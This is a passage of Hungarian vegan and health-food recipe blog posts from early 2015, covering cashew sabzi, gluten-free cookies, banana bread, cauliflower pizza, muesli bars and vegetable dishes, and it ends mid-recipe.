2015. március 17. Vegán muflon
A Pannónia utcai Pandzsab Tandori étteremben duplán is vérszemet kaptam a minap. Először, mert a kesudiós szabdzsit a választható csípősségi fokozatok közül a legextrémebb mellett döntöttem, valamint a mellé chilis naan kenyeret kértem. (Aki kíváncsi rá, milyen lehet egy vödör napalm elfogyasztása után sebbenzinnel gargarizálni, bátran kövesse a példámat!) Másodszor pedig, mert a szabdzsit ebben a kevésbé emberbarát formában is hibátlannak találtam. Ahhoz túl gátlásos vagyok, hogy ilyen helyzetekben éttermek konyháiba kéretőzzek be okulási célzattal, arról nem beszélve, hogy az indiai konyha illatanyagait legfeljebb akkor lehet száműzni a ruházatból, ha felgyújtjuk. Szerencsére a YouTube tele van olyan videókkal, ahol a fakírképző szakközépiskolák végzősei vicces angolsággal narrálják kiválónak tűnő ételeik főzési folyamatát.
Így hát előkészítendő:
2 közepes fej lilahagyma 3 db paradicsom 3 evőkanál kesudió 4 evőkanál zöldborsó 4 evőkanál zöldbab 1/4 fej karfiol 2 db sárgarépa 1 nagyobb burgonya 100 g füstölt tofu felkockázva (elhagyható, de inkább ne hagyjuk el) 2 evőkanál kókusztejszín 1 kiskanál só 1 kiskanál chilipor 1 kiskanál őrölt korriander 1 kiskanál őrölt kömény 1 kiskanál garam masala 1 kiskanál gyömbérkrém (jobb híján gyömbérpor) 1/2 kiskanál őrölt görögszéna kevés felaprított korianderlevél Hovatovább: A felcsíkozott lilahagymát, a felkockázott paradicsomot és a kesudiót kevés olívaolajon megdinszteljük, majd egy kevés vizet adunk hozzá. Mikor az elegy némileg szétfőtt, levesszük a tűzről, és botmixerrel krémesítjük és félretesszük. A felkarikázott sárgarépát, felkockázott burgonyát és a szétbontott karfiolt kevés olajon félig megpároljuk, majd hagyjuk békében nyugodni. A felkockázott tofut megpirítjuk, majd az imént megpárolt zöldségekhez adjuk. Most pedig a következő lépéssel tovább lelkesítjük azokat, akik rühellnek mosogatni: egy újabb edényben kevés olívaolajat hevítünk, majd hozzáadjuk a gyömbérkrémet/port, majd jó egy perc után az összemixelt kesudiós-paradicsomos elegyet. Mély szakértelemmel beleborítjuk a chilit, majd kis lángon 3-4 percig főzzük, időnként megkeverjük. (Ha túl száraz, kevés vizet adunk hozzá.) Hozzáadjuk a zöldségeket és a tofut, majd jöhet a kömény, a garam masala, a görörgszéna és a só. Legvégül hozzáadjuk a kókusztejszínt és közepes lángon készre főzzük. Legvégül felaprított korianderrel díszítjük.
"Jó reggelt" a'la nature. Gluténmentes csokis-kókuszos keksz
2015. március 15. Éltető ételek
Ismeritek a Jó reggelt kekszet? Bizony, a gyerekek nagy-nagy kedvence. Csak sajnos az összetevőit vizsgálva nem a legjobb választás. Tegnap sütöttem kétféle kekszet, a másodikat mindenképp gluténmentesre terveztem. Nos, hogy sikerült azt a ropogósságot elérni, lehet, hogy egy kissé túlsütöttem... mindenesetre finom lett. Hozzávalók: - 5 dkg zabliszt - 5 dkg kukoricaliszt - 5 dkg kókuszliszt - 5 dkg kókuszreszelék - 10 dkg puha kókuszzsír - 7 dkg kókuszvirágcukor - 1 evőkanál cukrozatlan kakaópor - 1 evőkanál útifűmaghéj - 1 kávéskanál konjakliszt - 1 kávéskanál szódabikarbóna - 1 kávéskanál vaníliapor Elkészítése: Mérjük ki a tálba a liszteket a porokat és a cukrot. Keverjük jól össze.Adjuk hozzá a puha kókuszzsírt, először morzsoljuk szét, majd gyúrjuk össze.Tegyük be a hűtőbe, úgy 1 órára.Melegítsük elő a sütőt.Amikor kivesszük a hűtőből, kemény lesz, de kis darabokat kivéve jól össze tudjuk dolgozni. Nyújtsuk ki úgy 2 mm vastagra, és szaggassuk ki kedvenc formánkkal.Előmelegített sütőben süssük ki 180 fokon, úgy 12 perc alatt. Figyeljük a szélét, amikor már kezd barnulni, akkor vegyük ki.
Granola - kókuszkockával és áfonyával
2015. március 10. Mindennapi ételeink
Finom, egészséges és tartalmas reggeli. Hozzávalók: 40 dkg zabpehely 5 dkg kukoricapehely 15 dkg felvágott dió vagy mandula 20 dkg aszalt vörösáfonya / fekete áfonya 10 dkg kókuszkocka 15 dkg méz 0,5 dl 4 szűz olajmix (napraforgó olaj) Hozzávalók: A zabpelyhet, a kukoricapelyhet, összekeverjük egy nagy tálban. Hozzámérjük az olajat, majd a mézet is. Keverjük alaposan össze. Egy sütőbe sütőpapírt teszünk, és erre öntsük ki a masszát. 160 fokos, előmelegített sütőbe tesszük, és 15-20 percig sütjük. Ez idő alatt daraboljuk fel a diót vagy mandulát, az aszalt gyümölcsöket. Ezeket ekkor adjuk hozzá a müzlihez, majd forgassuk át, és rakjuk vissza sülni, még 5 percig, közben figyeljük, mert könnyen leéghet.
Vegán bababarát mandulás banánkenyér
2015. március 7. Zizi kalandjai
Ez a banánkenyér az elmúlt hetekben többször elkészült nálunk. Kipróbáltam, teszteltem a receptet és jó. Egy tesztelés még hátra van, gluténmentes verzióban is szeretném elkészíteni. Ha elkészül, ez a bejegyzés fog frissülni a gluténmentes verzió leírásával.
A héten, csütörtökön is nagy sikert aratott ez a banánkenyér a TV2 Babavilág című műsor dolgozóinak körében, ugyanis ezt készítettem el adásban (ami majd májusban kerül a képernyőre). A műsor miatt utána olvastam egy kicsit ennek a sütinek és kiderült, hogy az 1930-as években jelent meg először szakácskönyvekben az USA-ban és azért született meg, hogy a drágának számító, de már nagyon érett banánokat ne dobják ki a háziasszonyok, hanem egy ilyen “kenyérbe” sütve használják még fel. Ez csak a nevében kenyér, a valóságban sütemény, kiváló reggelire, nassolni vagy délutáni teázáshoz, kávézáshoz. Bababarát verzió (18 hónapos kortól ajánlott) is, ugyanis a három banánon kívül három evőkanál juharszirup van benne, ennyi az összes édesítés. Ezenkívül darált mandula, zabpehely “nehezíti” a tésztáját, valamint fahéj és vanília hozza ki belőle a maximumot. Szerintem vasárnap feltétlen süssétek meg!
Még több banánkenyér:
Vegán földimogyoróvajas
Cukormentes datolyás olívaolajos
Vegán mandulás csokoládés
Diós csokoládés
Vegán mandulás banánkenyér
Hozzávalók:
– 3 db érett banán
– 1 és 1/4 bögre darált mandula (lehet darált törökmogyoróval, dióval is helyettesíteni)
– 1 és 1/4 bögre zabpehely
– 1 és 1/4 bögre tönköly fehérliszt
– 3/4 bögre mandulatej (rizs-, zab-, szójatej is használható)
– 3 evőkanál juharszirup
– 3 evőkanál kókuszolaj, felolvasztva
– 1 evőkanál chia- vagy lenmag
– 3 evőkanál víz
– 3 és 1/2 teáskanál foszfátmentes sütőpor
– 1/2 teáskanál só
– 1/2 teáskanál őrölt fahéj
– 1 db vaníliarúd kikapart magjai
Kétféleképpen tehetjük bele a banánokat. Vagy mindhárom banánt villával pépesre törjük és a tésztához adjuk, vagy csak kettőt törünk pépesre, a harmadikat pedig hosszában félbe vágjuk és a sütemény tetejére tesszük. Én mindkét változatot kipróbáltam. Ha mindhárom banán a tésztájába kerül, akkor picit édesebb lesz a sütemény.
Tegyük egy tálba a pépesre tört két banánt. Öntsük hozzá a mandulatejet, a kókuszolajat és juharszirupot. Adjuk hozzá a sót, f-a fahéjat, a vaníliát és jól keverjük el.
Közben egy kis tálkában keverjük össze a chia magot a vízzel és hagyjuk állni 6-8 percig, amíg zselés állagú lesz (ez helyettesíti a tojást). Melegítsük elő a sütőt 180 fokra.
Adjuk a zselés állagú chia magot a tésztához és jól keverjük el. Jöhet a liszt, a zabpehely és a darált mandula. Az összekevert tésztát öntsük egy 25 cm hosszú püspökkenyér formába, tegyük a tetejére a hosszában félbe vágott banánt és 180 fokon süssük 40-45 percig (végezzünk fogpiszkáló próbát, hogy jól átsült-e már a kenyér, akkor jó, ha a fogpiszkálóra már nem ragad semmi).
Chai fűszeres minifánkok
2015. március 3. Gréta konyhája
Hozzávalók: 25dkg gluténmentes sütemény lisztkeverék 5dkg biomargarin olvasztva 2 ek kókuszolaj 5dkg nádporcukor (kávédarálóban magam őröltem) 1 és fél tk sütőpor(foszfátmentes) 1/2 tk tiszta só 120ml szójatej 1 tk vanília aroma 1 ek chai masala fűszerkeverék, 1 ek nádporcukorral elkeverve kókuszolaj a sütéshez
A lisztet, cukrot, sütőport jól elkeverjük, a tejet, margarint, a 2 ek kókuszolajat, és vanília aromát elkeverjük, majd apránként kevergetve hozzáöntjük a lisztes keverékhez, és kezünkkel összegyúrjuk. Kisebb golyókat, vagy lyukas közepű minifánkokat formázunk belőle, és bő, forró kókuszolajban aranybarnára sütjük, majd még forrón a chai masalás-porcukros keverékbe forgatjuk. Rózsalekvárral, erdei gyümölcs öntettel, vagy juharsziruppal is isteni! (Ha van minifánk formánk, akkor sütőben is ki lehet sütni, így kevésbé lesz olajos.) Jó étvágyat!
Áfonyás zabkeksz
2015. március 1. Éltető ételek
Sokszor problémát okoz, hogy mit csomagoljak a gyerekeknek az iskolába uzsonnára. Nos, ez a keksz gyakran fog a dobozba kerülni. Hozzávalók: - 12 dkg bio vaj vagy kókuszzsír - 10 dkg méz vagy juharszirup - 12 dkg teljeskiőrlésű tönkölyliszt - 8 dkg aprószemű zabpehely - 8 dkg dió - 8 dkg áfonya - 1 házi vagy bio tojás - 1 kávéskanál szódabikarbóna - 1/2 kávéskanál vaníliapor - csipet só - 3-4 csepp narancsolaj - úgy 3 dkg 70%-os csoki pici darabokra tördelve Elkészítése: A puha vajat vagy a kókuszzsírt jól keverjük el a mézzel, majd a tojással. A diót tegyük egy zacsiba, majd húsgloffolóval jól törjük össze. Adjunk hozzá a többi hozzávalót, majd jól dolgozzuk el. Formázzunk kis gombócokat (úgy 1 teáskanálnyi mennyiséget), majd tegyük a tepsibe. Picit lapítsunk le, majd előmelegített sütőben süssük úgy 10-12 percig, 180 fokon. Hagyjuk kihűlni, szépen megkeményedik. Ez a mennyiség 2 tepsire volt elég.
Kókuszos-zabkása golyó
2015. február 28. Éltető ételek
Reggel egy kicsit túlterveztem a szokásos kása reggelinket, és kimaradt úgy 30 dkg főtt zabkása. Úgyhogy lett belőle uzsonna. A gyerekek még örültek is neki, mert úszás után igen éhesek voltak. Hozzávalók: - 30 dkg sűrűre főtt kókuszos zabkása - 5 dkg kókuszreszelék - 1 evőkanál kakaópor - 2-3 evőkanál kókuszvirágcukor (mivel a kásába nem tettem édesítőszert) - 6 dkg áztatott/szárított dió - 6 dkg aszalt szilva - 2-3 csepp narancsolaj - 1 kávéskanál fahéj - 1/2 kávéskanál vaníliapor - fél narancs leve Elkészítése: Mivel ebéd után állítottam össze, addigra már teljesen kihűlt a kása. Minden hozzávalót hozzákevertem a főtt kásához, és jó alaposan összedolgoztam. Vizes kézzel kis gombócokat formáztam, és kókuszreszelékbe forgattam.
A vegák is böjtölnek?
"- A vegák is böjtölnek? " -ezt kérdezték tőlem a suliban... Naná. Azzal, hogy nálam a hús nem játszik az élelmezésben, ettől még számos gyenge pontja van táplálkozásomnak. Szerintem ezzel mindannyian így vagyunk :-) Aztán vannak alkati vonzódások ételféleségekhez, a jutalomfalatokról már ne is beszéljünk. A szürkeség ellenszerét is sokszor egy-egy plusz fogásban találom meg - szeretek enni. Még valaki magára ismert az előző mondatokban? Hála Isten, akkor nem vagyok egyedül. A csokoládét már meg sem merem említeni. Múltkor a neten szörfölve volt egy aha élményem: a csokoládé csábításának való ellenállás teljességgel felesleges és energiát pazarló művelet. Ilyen bölcseleteket már én is tudnék írni :-) Annyit sikerült csiszolnom a gombóc-artúros magatartásomon, már csak a fekete és lehetőségeimhez mérten a legjobb minőségűt fogyasztom. Titkos nasim receptjét is megosztom veletek ( ha nincs otthon táblacsoki, ezzel szoktam hirtelen támadt csokoládévágyam enyhítem ): -Végy egy kis csészét ( de tényleg kicsi legyen! ), tegyél bele két teáskanál kakaóport ( minőség, minőség, minőség!!! ), egy teáskanál mézet csurgass rá és egy kis cocomast ( kókusztejszín ), majd keverd ki simára. Nyami! Folyékony bounty! Mindenkinek van miről lemondani. A természet körforgásában, a tavaszi testi-lelki megújulás hívó szava fel kéne szakadjon mindenkiből, csak úgy ösztönösen, spontán. Aztán, hogy ki miről mond le ebben a negyven napban vallásos hovatartozásától függetlenül? Csakis a magam válaszát tudom tolmácsolni. Én ebben az időszakban a szénhidrátok mennyiségére és milyenségére ügyelek jobban, mert az elmúlt téli hónapok bevitele sokkolta a szervezetem. Ebben az is nagy szerepet játszott, hogy több ponton változás történt a napi rutinban, ami az életvitelemet és az eddig szépen beállított étkezési szokásaimat feldúlta. Amíg igyekeztem egy új ritmusra találni, addig kompromisszumokat kellett kössek és időnként gyalázatos minőségű étel szalad le a torkomon, mert egyszerűen nem volt másra lehetőségem térben és időben - oszt éhes voltam, na! Azóta már látszik az alagút vége! :-) A családunkban hagyomány ( három fiúgyermekem igényei hívták elő ), ha péntek, akkor pizzanap. Nos nem a bolti fagyós dobozolt változat, hanem a kézzel begyúrt élesztős-tésztás, ami egy szimpla kenyértészta bazsalikommal, oreganoval és némi őrölt köménnyel fűszerezve. A paradicsom szószt is magam készítem hozzá sok fokhagymával, így szeretik a fiúk. Nagyböjt idején nem éppen megfelelő fogás ez számomra, a kölkök meg hallani sem akarnak böjtről, megleptem őket egy szénhidrátszegény változattal, aminek a "tésztája" karfiollal van dúsítva. Maga a pizza alap karfiol-zabpehelyliszt-tojás keverék fűszerezve. Feltétje bármi lehet, amit amúgy a kedvenc pizzánkra tennénk. Gluténmentes változata, ha a zabpehelyliszt helyett reszelt mozzarella sajtot teszünk bele, paleósok pedig mandulalisztet keverhetnek hozzá. Vegán változatban a tojásokat pótolhatják őrölt lenmag és víz elegyével. Mivel nem vagyok egyik irányzat elkötelezettje sem, így kedvemre válogathatok a hagyományos pizza alternatívái közül :-) Ti is próbáljátok ki valamelyiket! Öntet ötlet: egy tölcséres turmixba öntsünk egy deci extra szűz olívaolajat, majd adjunk hozzá frissen csavart citromot, sót, borsot ízlsé szerint és egy marék bazsalikomot. Ugye milyen jó, ha van az ablakban fűszerkertünk? A kész pizzát ezzel öntsük nyakon és szórjuk meg friss rukkolával ( nem fogjátok elhinni, de a kertből hoztam be ). Karfiol alapú pizza ( 4 fő részére ): - 2 bögre aprított karfiol ( kb. 50 dkg ) - 1 bögre zabpehelyliszt ( mandulaliszt vagy mozarella sajt is lehet ) - 2 tojás ( tojáspótlás vegánoknak 2 ek. őrölt lenmag 6 ek. forró vízzel elkeverve ) - 1 tk. bazsalikom - 1 tk. oregano - só, frissen őrölt bors ízlés szerint ----------------------------------------------------------------------------------------------------------- A karfiolt aprítógépben daráljuk össze morzsásra. A lisztet keverjük össze a karfiollal valamint a fűszerekkel és a tojással. A masszát pihentessük fél órát a hűtőben. Formázzunk tetszőleges formájú korongokat vagy a masszát egybefüggően nyomkodjuk bele a sütőpapírral bélelt tepsibe ujjnyi vastagságban. 175 fokon süssük meg annyira, hogy kicsit barna legyen a teteje. - Kenjük meg pizza szósszal és tegyünk rá tetszőleges feltétet, majd süssük készre. Póréhagyma, kápia paprika, kukorica és mozzarella volt a rávaló.
Complete tál
Minden évben van egyszer legalább, hogy a "Csicseri" Pointhoz tévedek a West Endben, akkor a kedvencemet rendelem, amiben gomba, falafel, egész csicseri szemek is vannak, és maga a krém némi oliva olajjal leöntve. A laffa valahogy nem jön be, mindig olyan sületlen tésztának érzem, pedig tudom, hogy nem az, egyszerűen nem nekem való. Néha készítek itthon is hummuszt, de még sosem raktam össze úgy, mint a fenti tálat. A múltkor aztán kedvem támadt hozzá, és elkészítettem. A hummuszhoz ők, ha jól tudom, ők tesznek joghurtot, de vegánoknak e nélkül is ízletes. Hozzávalók: Hummusz: 2 bögre csicseriborsó megfőzve / vagy konzerv doboz 3 ek szezámpaszta, vagy tahini 1 nagyobb gerezd fokhagyma 1/2 citrom leve 1 tk só 2 ek olivaolaj 1 fél maréknyi borsót kihagyunk a díszítéshez. A csicseriborsót, ha magunk készítjük, érdemes beáztatni előző este, és másnap a vizét leöntve megfőzni. Ha előre gondolkozunk, akár 2 napot csíráztathatjuk is, és azután mehet a fazékba, úgy könnyebben emészthetővé válik. A szezámpaszta összetevői végeredményben szinte ugyanazok, mint a humuszéi, ezért külön nem szoktam ehhez készíteni, hanem csak némi vizet összeturmixolok szezámmaggal, és azt adom a krémhez. (Egyébként 10 dkg szezámmaghoz 1-2 gerezd fokhagymát, 3 ek olivaolajat, 50 ml vizet, némi citromlevet és sót adunk, azt turmixoljuk finomra. Ez a krém már önmagában is használható.) Az összes hozzávalót egy nagyobb edényben összeturmixoljuk. Ha nagyon sűrű lenne, a megfőtt levével hígíthatjuk. Gomba: 1/2 kg barna csiperke gomba 1 tk kókuszzsír (fűszerhiányunk esetén némi curry) Tisztítjuk, vékonyra szeleteljük, kevés kókuszzsíron megpirítjuk. A falafel gombóc elkészítésének leírása: ITT. Vagy néha lehet kapni zacskósat. Csak azok túl borsosak általában, meg azért a frissen sült, az frissen sült. :)
Spenótos, paradicsomos és tejfölös pizzácskák
2015. február 24. Éltető ételek
Ez nem egy gyors recept, de annál finomabb. A fantáziánkra bízva bármilyen feltéttel elkészíthetjük. 10 hónapos kortól nyugodtan kaphatják gyerkőcök is. Hozzávalók: - 30 dkg teljeskiőrlésű tönkölyliszt - 20 dkg fehér tönkölyliszt vagy zabliszt - 2 dkg friss élesztő - 2 kávéskanál só - 1 kávéskanál méz - 3 evőkanál olívaolaj - bazsalikom - meleg víz Elkészítése: Először is el kell készíteni a tésztát. Ez egy egyszerű pizzatészta. A lisztet egy nagy edénybe öntjük, majd a közepére nyomunk egy mélyedést. Ebbe belemorzsoljuk a friss élesztőt. Közben langyosítunk vizet, és öntünk egy keveset az élesztőre. A kávéskanálnyi mézet is belecsorgatjuk, majd picit megkeverjük ezt az élesztős-mézes vizet. Letakarjuk, majd békén hagyjuk úgy 5 percre. Ez idő alatt az élesztő szépen megkel. Hozzáadom a sót és az olajat, majd apránként a vizet. Egy puha tésztát dagasztunk belőle. Ismét letakarjuk (én piros konyharuhával szoktam), majd meleg helyre tesszük úgy 1 órára. Ha duplájára kelt, mérjük 3fele a tésztát. Mindegyiket nyújtsuk ki téglalap alakúra (úgy 3-4 mm vastagra), majd olyan tenyérnyi méretűre szeleteljük. Közben elkészítjük a feltéteket. Paradicsomos feltét: 1 fej vöröshagymát dinszteljünk meg kevés kókuszolajban, majd reszeljünk bele 1-2 fokhagymát is. Pár perc, és öntsünk rá fél üveg házi paradicsomlevet. Főzzük lassú tűzön, úgy 5 percig. Sózzuk, szórjunk bele friss fűszernövényeket (bazsalikom, kakukkfű, rozmaring). Ha nincs, akkor szárított is jó. Kenjük meg ezzel a szósszal a tésztát, majd reszeljünk rá egy kevéske sajtot. Tejfölös feltét: (ez nem más, mint a kenyérlángos). Tejfölbe reszeljünk 1-2 gerezd fokhagymát, majd ezzel kenjük meg a tésztát. Szeleteljünk fel lilahagymát, majd szórjuk meg vele a tejfölt. Reszeljünk rá sajtot. Spenótos feltét: Itt a tejföl helyett növényi rizstejszínt (ISOLA) használtam. Szintén reszeljünk bele fokhagymát, sózzuk, és nyomjunk bele kevéske citromlevet is. A spenótot pici olajon dinszteljük meg, majd keverjük a fűszeres rizstejszínhez. Kenjük meg ezzel a spenótos tejszínnel és erre is reszelhetünk egy kevéske sajtot. Előmelegített sütőben (180 fok) süssük úgy 25-30 percig.
Datolyás-sárgarépás trüffel
2015. február 23. Éltető ételek
A répát a karotin tartalma miatt érdemes naponta fogyasztani. A babák első ételei között van, párolva vagy éppen sütőben sütve, mindenhogy finom. Gyakran kerül fasírtba, de nyersen a salátákba is előszeretettel teszem. Hozzávalók: - 10 dkg cukrozatlan datolya - 10 dkg sárgarépa - 5 dkg áztatott mandula - 1/2 kávéskanál fahéj - kevéske citromlé és narancslé - 1-2 csepp narancsolaj - kókuszreszelékbe forgatni - igény szerint: apróra tört dió Elkészítése: A sárgarépát tisztítsuk meg, majd vágjuk kisebb darabokra. Mindent tegyünk be egy aprítógépbe, majd dolgozzuk össze krémesre. Formázzunk kis golyókat, majd forgassuk kókuszreszelékbe. Ez egy krémes, lágy trüffel lesz. A párom viszont jobban szereti, ha van min rágni, így tettem a masszába apróra tört áztatott/szárított diót is.
Ropogós mogyorós müzli
2015. február 21. Éltető ételek
Amikor készítettem a müzliszeletet, akkor beötlött nekem, hogy ez a fincsi, enyhén pirított magok milyen finomak lennének egy kis mandulatejjel és gyümivel. Úgyhogy készítettem is egy adagot, hogy bármikor legyen, ha éppen rákívánok. Persze egy kicsit változtattam az összetevőkön, te is alakíthatsz rajta az ízlésed szerint. Hozzávalók: - 20 dkg zabpehely - 8 dkg mandula - 8 dkg mogyoró - 4 dkg szezámmag - 4 dkg kókuszreszelék - 5 dkg mazsola - 5 dkg aszalt meggy - 1/2 kávéskanál vaníliapor Elkészítése: Először is az olajos magokat törjük/vágjuk össze kisebb darabokra. Majd keverjük össze a zabpehellyel, és öntsük bele egy tepsibe. Előmelegített sütőbe tegyük be a tepsit, majd úgy 20 percig, folyamatosan figyelve-keverve pirítsuk. Addig, amíg nem érezzük az enyhén pirított illatot. Vegyük ki a sütőből, majd öntsük hozzá az aszalványokat és a kókuszreszeléket. Valamint a vaníliapor is. Ennyi! Amikor megéhezel, tegyél néhány kanállal egy tányérba, és önts rá növényi tejet. Kedvenc gyümölcsödet is belevághatod.
Müzli trió
A müzlit Maximilien Birchner-Benner nevű svájci orvosnak köszönhetjük és a rendszerváltáskor lebontott határok utat engedtek nálunk is a müzli népszerűségének. Elmélete szerint a reggelire elfogyasztott gabonákból, gyümölcsökből és olajos magokból álló magas rosttartalmú müzli jót tesz az emésztésünknek. A müzliszelet már a rohanó életmódunkhoz igazított termék, ami könnyen szállítható, kis helyen elfér és bármikor a nap folyamán elfogyasztott szelet energiával tölt fel. Amolyan túlélő készlet a táskánk mélyén. A bolti változatokkal egyetlen baj van, az ipari előállítás alatt sok olyan dolog kerül az egységnyi energiabombába, amire a szervezetünknek nincs is szüksége, mint pl: ,,maltodextrin, glükóz-fruktóz szirup, citromsav, keményített növényi zsír, stb. - olvashatjuk a csomagoláson (plusz extra mennyiségben cukor). A házi készítésű müzliszeletünkkel mindezt elkerülhetjük, sőt saját szájízünkre formált olcsóbb nasit kaphatunk. Elkészítése csupán egy kis előregondolást kíván tőlünk, a variációk száma ezután végtelen, melyből most hármat mutatunk be. A müzliszelet házi készítéséhez Panka és Éci gasztroblogger barátnőim receptjein keresztül szeretnék tippeket adni. Milyen összetevőkre van szükségünk? - gabonapelyhek: zab, búza, rizs, árpa vagy rozs - olajos magvak: dió, mogyoró, mandula, pisztácia, tökmag, lenmag, szezámmag, pekándió, kesudió - aszalt gyümölcsök: mazsola, vörösáfonya - édesítés: méz vagy más alternatív édesítőszer használható A készítés menete: - a magvakat és a gabonapelyheket összekeverjük - a zsiradékot, mézet meglangyosítjuk és ráöntjük a magokra,majd alaposan átkeverjük aszalványokat apróra vágjuk, a banánt összetörjük villával, a sütőtököt pürésítjük, értelemszerűen mikor melyik szerepel a receptben - fűszerezzük a masszát, majd belesimítjuk a sütőpapírral bélelt tepsibe és közepes hőfokon ( 175 fok ) 25-30 percig sütjük - a receptekben megadott mennyiségekből kb. 8-10 müzliszelet készíthető Fontos tudnivalók: - a tepsit mindig béleljük ki sütőpapírral,így biztosan nem ragad bele a müzli a vastagságra nagyon ügyeljünk, egy zsírpapír és egy nehezék segítségével lapítsuk egyenletesre a masszát - a sütési idő felénél fedjük le fóliával, hogy ne égjenek meg a kilógó aszalványok - zsírpapírba csomagolva, a légmentesen záródó fém dobozba akár egy hétig is tárolhatjuk fotó: Szegedi Annamari Diós-mazsolás müzliszelet Pankától: - 1/2 csésze zabpehely - 1 csésze puffasztott tönkölybúza - 1 marék durvára vágott dió - 1 evőkanál lenmag - 1 evőkanál szezámmag - 1 evőkanál mazsola - nagy csipet só - 2 evőkanál mogyoróvaj - 2 kisebb érett banán - 5 dkg étcsokoládé - kb. 5-6 evőkanál tej - kókuszchips a díszítéshez Ennél a variációnál a kihűlt müzli tetejét borítsuk be a felolvasztott csokoládé és tej keverékével, majd szórjuk rá a pirított kókuszchipset és tegyük hideg helyre, hogy a máz megszilárduljon. Ezután vágjuk fel éles késsel szeletekre. fotó: Papp Éci Banános-magos müzliszelet Écitől: - 3 dkg napraforgó - len - szezámmag vegyesen - 20 dkg zab- és rozspehely vegyesen - 2 kisebb érett banán - 10 dkg mazsola - 7 dkg datolya - 5 dkg füge - 1-2 evőkanál kókuszzsír - 1 evőkanál méz Ennél a receptnél a méz hozzáadása miatt legyünk résen a sütésnél, mert a müzliszelet hamar megéghet. Félidőkor érdemes a tepsit fóliával lefedni. fotó: Ludvig Nicolette S ütőtökös-csokis müzliszelet : - 20 dkg zabpehely - 10 dkg sütőtökpüré - 5 dkg pirított mandula - 5 dkg durvára vágott étcsokoládé - 1 evőkanál méz vagy más édesítőszer - 1-2 evőkanál kókuszzsír - 1 mokkáskanál mézeskalácsfűszer vagy fahéj - 1 mokkáskanál Bourbon vaníliapor - nagy csipet só ( A cikk megjelent a Kisalföld Gasztro Magazin 2014. december 10-i számában )
A világ legfinomabb zöldkörete
2015. február 20. Zizi kalandjai
Aki követi a blogomat egy ideje, az tudja, hogy imádjuk a leveleskelt (néhány helyen fodroskelnek is írják a nevét). A világ legegészségesebb élelmiszerei között tartják számon. Nagyon magas K-, A- és C-vitamin tartalma, jelentős rosttartalmán kívül sok ásványi sót (vas, mangán, kalcium, magnézium, stb.) is tartalmaz. Most, amikor szezonja van, hetente többször készül nálunk ez a zöldköret, leveleskelt rakunk smoothiekba, turmixokba (spenót helyett például) és néha még chips is készül belőle.
Természetesen Ádi is rajong érte, ő egyszerűen “veveve”-nek hívja, rágcsálja nyersen, és persze imádja ezt a zöldköretet. Néha nem tudja abbahagyni, követeli a repetát belőle… én is nagyon szeretem a fokhagymás, savanykás ízét, amit ellensúlyoz a sörélesztő pehely. Igen, muszáj bele a sörélesztő pehely, kipróbáltam nélküle is és úgy nem annyira finom. Mondjuk úgy, ez teszi fel az I-re a pontot. Csak körülbelüli mennyiségeket a receptben, hagyom, hogy a megérzésetekre bízzátok magatokat. Én is csak úgy keverek-kavarok, amikor ezt a köretet csinálom, de elrontanom még nem sikerült.
A világ legfinomabb zöldkörete
Hozzávalók 2-3 főre:
– 1 nagy csokor leveleskel, a levelek eltávolítva a szárról és falatnyi darabokra tépkedve
– 3 gerezd fokhagyma, meghámozva, felaprítva
– 3 evőkanál sörélesztő pehely (lehet több is, ízlésre bízva)
– 1/2 citrom leve
– só, bors
– kókuszzsír
Hevítsünk fel magas lángon egy teflon serpenyőt. Tegyünk bele 1 evőkanál kókuszszírt és dobjuk rá a leveleskelt. Hagyjuk, hogy magas lángon sercegjen, piruljon legalább 3-4 percig. Ha már néhány levél megbarnult, öntsünk hozzá egy kis vizet, tegyünk rá fedőt és pároljuk közepes láng felett 5-6 percig. Ilyenkor veszítenek a levelek keménységükből és lesznek kellemesen puhák.
Adjuk hozzá a fokhagymát, fedő nélkül továbbra is közepes lángon főzzük. Ha szükséges adjunk még hozzá egy kevés vizet. Közben sózzuk, borsozzuk. Ha a fokhagyma is megfőtt, öntsük hozzá a citrom kifacsart levét, keverjük össze, főzzük még 2 percig. Zárjuk el alatta a lángot, szórjuk meg a sörélesztő pehellyel, keverjük jól át ás tálaljuk!
Egyszerű zöldségleves kölesbetéttel
2015. február 18. Éltető ételek
Minden nap kerül az asztalra zöldség. Egy ilyen levesbe sokféle zöldség kerül, nagyon jó ízhatás kerekedik ki belőle. A gluténmentesség miatt nem cérnametéltet tettem bele, hanem egyszerűen kölest főztem bele. Hozzávalók (4 főre): - 2 közepes sárgarépa - 2 közepes petrezselyemgyökér - 1 közepes karalábé - 1 kis zellergumó - 2 közepes burgonya - 2-3 szelet kelkáposzta - 3-4 karfiolrózsa - 1 hagyma (külső héjával együtt, ezt karikára szoktam vágni) - 2 gerezd fokhagyma - 1 natur zöldségleves kocka - só, bors, zöldűszer (petrezselyem, zeller, lestyán) - 1 kisebb evőkanál kókuszolaj - 2 marék köles - (mehet bele akár zöldborsó is) Elkészítése: Először is minden zöldséget daraboljunk fel egyforma méretűre, A kókuszolajat olvasszuk fel. Tegyük bele a sárgarépát, és folyamatosan keverve süssük egy kicsit. Ezáltal a répa szépen megszínezi a zsiradékot. Halmozzuk a répára a többi zöldséget, de ne keverjük össze. A répa alul maradjon. Öntsünk rá annyi vizet, hogy éppen ellepje. Fűszerezzük. Télen egy kis chili jól illik hozzá. Lassú tűzön hagyjuk párolódni a zöldségeket, ne kevergesd. A vizet pótold, ha nagyon elfőne. Aikor már majdnem puha a zöldség, öntsük fel vízzel, és dobjuk bele a mindenmentes zöldségkockát és a zöldfűszereket. 2 marék kölest alaposan mossunk át, majd ezt is tegyük a zölséglevesbe. Főzzük készre.
Csőben sült brokkolis karfiol vegán módra
2015. február 17. Éltető ételek
Nos... megint brokkoli és karfiol. De nem tudok ráunni, szeretem minden formában. Ennek a receptnek az ötlete innen származik, viszont kissé átalakítva vegánosítottam azt. Hozzávalók: - 1 kisebb fej karfiol - 1 kisebb brokkoli - 1 batáta (édesburgonya) - 1 dl köles - 2-3 gerezd fokhagyma - 1-2 kávéskanál mustár - 1 evőkanál kókuszolaj vagy bio vaj - késhegynyi gyömbérpor - só, bors, chili Elkészítése: - A brokkolit és a karfiolt szedjük rózsáira és alaposan mossuk meg. - Sós vízbe főzzük meg, de csak roppanósra! A karfiolt picit tovább kell főzni, mint a brokkolit. - Közben 3x mennyiségű vízben főzzük meg az előzőleg alaposan átmosott kölest. - A köleshez öntsünk egy kevéske főzővizet, majd botmixerezzük krémesre. Olyan tejföl állaga legyen. - Reszeljük bele a fokhagymát, a zsiradékot és a mustárt. Fűszerezzük. - Egy jénai tál aljára tegyük a meghámozott, felkarikázott batátát. Tegyük rá a brokkoli és a karfiol darabokat. - Ezt 